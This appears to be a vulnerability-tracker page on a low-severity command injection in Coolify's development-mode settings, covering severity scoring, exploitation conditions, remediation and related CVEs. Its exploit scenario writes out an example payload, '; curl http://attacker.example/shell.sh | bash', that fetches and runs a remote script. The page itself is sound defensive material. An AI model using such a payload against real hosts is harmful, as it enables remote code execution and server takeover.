Skip to main content

Coolify CVE-2026-42148

| EUVDEUVD-2026-41953 LOW
OS Command Injection (CWE-78)
2026-07-06 GitHub_M
3.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Coolify admin credentials
  2. Delivery
    Access Settings page in development-mode instance
  3. Exploit
    Inject shell metacharacters into dev_helper_version field
  4. Execution
    Trigger helper image build action
  5. Persist
    Docker build command executes injected payload
  6. Impact
    Arbitrary OS commands run on host server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Four simultaneous conditions are required for exploitation: (1) The Coolify instance must be running in development mode, as the dev_helper_version field and buildHelperImage code path are specific to the development environment configuration - standard production deployments do not expose this path. (2) The attacker must hold high-privilege (admin-level) Coolify credentials sufficient to access and modify the Settings interface (PR:H per CVSS). (3) A user interaction step is mandatory: the attacker or an admin must explicitly trigger the helper image build action after the malicious value is set (UI:R per CVSS). (4) The attack context is local (AV:L per CVSS), consistent with operator-level access to the deployment. Factors that limit exploitation beyond raw CVSS include: development mode is not the default for general self-hosted deployments, admin credentials are required rather than any authenticated user role, and the build trigger is a deliberate manual action rather than an automatically-reached code path. Remote unauthenticated exploitation is not possible under any configuration.

Impact

The CVSS 3.8 Low score with vector AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L accurately captures the tightly constrained exploitation conditions. All five limiting factors must align simultaneously: local attack context, high complexity (development mode required), high privilege (admin credentials), and explicit user interaction (manual build trigger). EPSS data is not available in the provided intelligence. No CISA KEV listing exists and no public proof-of-concept has been identified, placing exploitation status firmly at theoretical. Despite OS command injection being a severe vulnerability class in isolation, the operational prerequisites - admin access, development-mode deployment, and deliberate trigger action - make real-world exploitation most plausible as an insider threat or post-compromise persistence mechanism rather than opportunistic external attack. The NVD-assigned impact metrics of C:L/I:L/A:L appear conservative given that command injection inherently yields full server compromise; this discrepancy is likely an artifact of NVD methodology weighting the heavily restricted scope. Production Coolify deployments without development mode enabled are not affected by this code path.

Exploit ScenarioDerived

An admin-level Coolify user operating in a development environment navigates to the Settings interface and modifies the dev_helper_version field to contain shell metacharacters - for example, appending '; curl http://attacker.example/shell.sh | bash' - then clicks the button to trigger a helper image build. The server-side buildHelperImage method concatenates this value directly into a Docker CLI command string, causing the injected shell payload to execute on the host with the permissions of the Coolify process. No public proof-of-concept code has been identified, but the attack primitive is elementary for any developer familiar with command injection in PHP shell invocations.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

OS command injection in Coolify's settings module allows a highly privileged attacker in a development environment to execute arbitrary shell commands on the host server by injecting metacharacters into the dev_helper_version field, which is passed unsanitized into a Docker build command. All Coolify releases prior to 4.0.0-beta.474 are affected. No public exploit code exists and no CISA KEV listing has been issued; the provided CVSS score of 3.8 (Low) accurately reflects the highly constrained exploitation prerequisites, though the underlying command injection class warrants upgrade regardless.

RemediationAI

Upgrade Coolify to version 4.0.0-beta.474 or later, which resolves the injection by properly escaping the dev_helper_version field before use in the Docker build command. The fix is available via merged commit dc9322b11f5f4ab96e56af0df7d4f877e96e5e4c and PR #9670 (https://github.com/coollabsio/coolify/pull/9670); the patched release is confirmed at version 4.0.0-beta.474 per the vendor advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-x9qh-w4c4-54f9. For environments that cannot immediately upgrade, disable or restrict access to the Settings page to only fully trusted administrators, and avoid running Coolify in development mode on shared or semi-trusted infrastructure. Disabling the helper image build feature in development configurations eliminates the vulnerable code path entirely with no impact on production functionality. Note that restricting UI access alone does not eliminate the underlying insecure code - patching is the definitive remediation.

Affected VersionsENISA

coolify < 4.0.0-beta.474

Affected Packages

euvd coolify fix: 4.0.0-beta.474

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is a PHP/Laravel (Livewire) open-source PaaS alternative for self-hosting servers, applications, and databases (CPE: cpe:2.3:a:coollabsio:coolify:*:*:*:*:*:*:*:*). The vulnerability is in the buildHelperImage method at app/Livewire/Settings/Index.php, which constructs a Docker CLI build command by interpolating the dev_helper_version field directly into a shell string without sanitization, escaping, or parameterization. CWE-78 (Improper Neutralization of Special Elements in an OS Command) describes this root cause: user-supplied data containing shell metacharacters such as semicolons, pipes, or backticks breaks out of the intended Docker argument context and causes the underlying shell to execute injected directives. The Docker daemon then executes the resultant command with the permissions of the Coolify server process. This code path is only reachable in development environment deployments where the helper image build feature is accessible from the settings interface.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 3.8 LOW
AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
vuln.today AI 6.3 MEDIUM

AV:L/AC:H/PR:H/UI:R retained from vendor assessment; impact raised to H/H/H because successful OS command injection yields full server-level compromise regardless of constrained entry conditions.

3.1 AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
High
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

1
Patch available
Jul 06, 2026 - 23:01 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, the buildHelperImage method in app/Livewire/Settings/Index.php constructs a Docker build command using the dev_helper_version field without shell escaping, allowing an attacker who can set the helper version and trigger the helper image build in a development environment to execute arbitrary commands on the server. This issue is fixed in version 4.0.0-beta.474.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Prevalence
Low
niche self-hosted PaaS tool, limited production enterprise footprint
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

19
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +19
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy